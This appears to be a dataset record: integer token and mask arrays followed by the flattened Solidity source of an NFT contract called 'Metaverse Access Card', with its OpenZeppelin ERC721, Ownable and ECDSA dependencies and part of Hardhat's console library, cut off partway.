21318,
3372,
2620,
2797,
1035,
26066,
2015,
1027,
1023,
1025,
21318,
3372,
17788,
2575,
2797,
5377,
1035,
23746,
17287,
2140,
1027,
6694,
8889,
8889,
8889,
8889,
2692,
1008,
2184,
1008,
1008,
1023,
1025,
21318,
3372,
17788,
2575,
2797,
5377,
4098,
1027,
1066,
21318,
3372,
17788,
2575,
1006,
1014,
1007,
1025,
9570,
2953,
1006,
4769,
2799,
2099,
1007,
1063,
4895,
2483,
4213,
2361,
2615,
2475,
22494,
3334,
1027,
2799,
2099,
1025,
1035,
21948,
6279,
22086,
1027,
1035,
23746,
17287,
2140,
1025,
1035,
19387,
17287,
2140,
1027,
1006,
4098,
1011,
1006,
4098,
1003,
1035,
21948,
6279,
22086,
1007,
1007,
1025,
1035,
19076,
7228,
1031,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1033,
1027,
1035,
23746,
17287,
2140,
1025,
12495,
2102,
4651,
1006,
4769,
1006,
1014,
1007,
1010,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1010,
1035,
21948,
6279,
22086,
1007,
1025,
1035,
2237,
2098,
1031,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1033,
1027,
19204,
19699,
5358,
2890,
21031,
7542,
1006,
1035,
5216,
7228,
1031,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1033,
1007,
1025,
1035,
2003,
10288,
20464,
13936,
1031,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1033,
1027,
2995,
1025,
1035,
12421,
1012,
5245,
1006,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1007,
1025,
1035,
6381,
3012,
1027,
2995,
1025,
1065,
3853,
2358,
15495,
15603,
18117,
1006,
4769,
19054,
4215,
16200,
4757,
1007,
6327,
2069,
12384,
2121,
1063,
2065,
1006,
1035,
2358,
15495,
15603,
18117,
1031,
19054,
4215,
16200,
4757,
1033,
1027,
1027,
2995,
1007,
1063,
1035,
2358,
15495,
15603,
18117,
1031,
19054,
4215,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "hardhat/console.sol";
contract MAC is ERC721, Ownable {
using Strings for uint256;
using ECDSA for bytes32;
uint256 public totalSupply = 0;
string private _tokenBaseURI = "https://meta.internet.game/mac/";
address private _signerAddress = 0xaff26FEfe8C82F233Bf240c96c5129E674C363AA;
mapping(address => bool) private _usedNonces;
constructor() ERC721("Metaverse Access Card", "MAC") {
}
function hashTransaction(address sender) private pure returns(bytes32) {
bytes32 hash = keccak256(abi.encodePacked(
"\x19Ethereum Signed Message:\n32",
keccak256(abi.encodePacked(sender)))
);
return hash;
}
function matchAddressSigner(bytes32 hash, bytes memory signature) private view returns(bool) {
return _signerAddress == hash.recover(signature);
}
function mint(bytes32 hash, bytes memory signature) external payable {
require(matchAddressSigner(hash, signature), "Not the correct signer");
require(hashTransaction(msg.sender) == hash, "Incorrect hash");
require(!_usedNonces[msg.sender], "You already minted.");
_usedNonces[msg.sender] = true;
totalSupply++;
_safeMint(msg.sender, totalSupply);
}
function adminMint(address addr, uint tokenCount) external onlyOwner {
for (uint256 i = 0; i < tokenCount; i++) {
totalSupply++;
_safeMint(addr, totalSupply);
}
}
function setSignerAddress(address addr) external onlyOwner {
_signerAddress = addr;
}
function setBaseURI(string calldata URI) external onlyOwner {
_tokenBaseURI = URI;
}
function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) {
require(_exists(tokenId), "Cannot query non-existent token");
return string(abi.encodePacked(_tokenBaseURI, tokenId.toString()));
}
function withdraw() external onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >= 0.4.22 <0.9.0;
library console {
address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
function _sendLogPayload(bytes memory payload) private view {
uint256 payloadLength = payload.length;
address consoleAddress = CONSOLE_ADDRESS;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
}
}
function log() internal view {
_sendLogPayload(abi.encodeWithSignature("log()"));
}
function logInt(int p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(int)", p0));
}
function logUint(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function logString(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function logBool(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function logAddress(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function logBytes(bytes memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes)", p0));
}
function logBytes1(bytes1 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0));
}
function logBytes2(bytes2 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0));
}
function logBytes3(bytes3 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0));
}
function logBytes4(bytes4 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0));
}
function logBytes5(bytes5 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0));
}
function logBytes6(bytes6 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0));
}
function logBytes7(bytes7 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0));
}
function logBytes8(bytes8 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0));
}
function logBytes9(bytes9 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0));
}
function logBytes10(bytes10 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0));
}
function logBytes11(bytes11 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0));
}
function logBytes12(bytes12 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0));
}
function logBytes13(bytes13 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0));
}
function logBytes14(bytes14 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0));
}
function logBytes15(bytes15 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0));
}
function logBytes16(bytes16 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0));
}
function logBytes17(bytes17 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0));
}
function logBytes18(bytes18 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0));
}
function logBytes19(bytes19 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0));
}
function logBytes20(bytes20 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0));
}
function logBytes21(bytes21 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0));
}
function logBytes22(bytes22 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0));
}
function logBytes23(bytes23 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0));
}
function logBytes24(bytes24 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0));
}
function logBytes25(bytes25 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0));
}
function logBytes26(bytes26 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0));
}
function logBytes27(bytes27 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0));
}
function logBytes28(bytes28 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0));
}
function logBytes29(bytes29 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0));
}
function logBytes30(bytes30 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0));
}
function logBytes31(bytes31 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0));
}
function logBytes32(bytes32 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0));
}
function log(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function log(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function log(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function log(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function log(uint p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function log(uint p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function log(uint p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function log(uint p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function log(string memory p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function log(string memory p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function log(string memory p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function log(string memory p0, address p1) internal view {
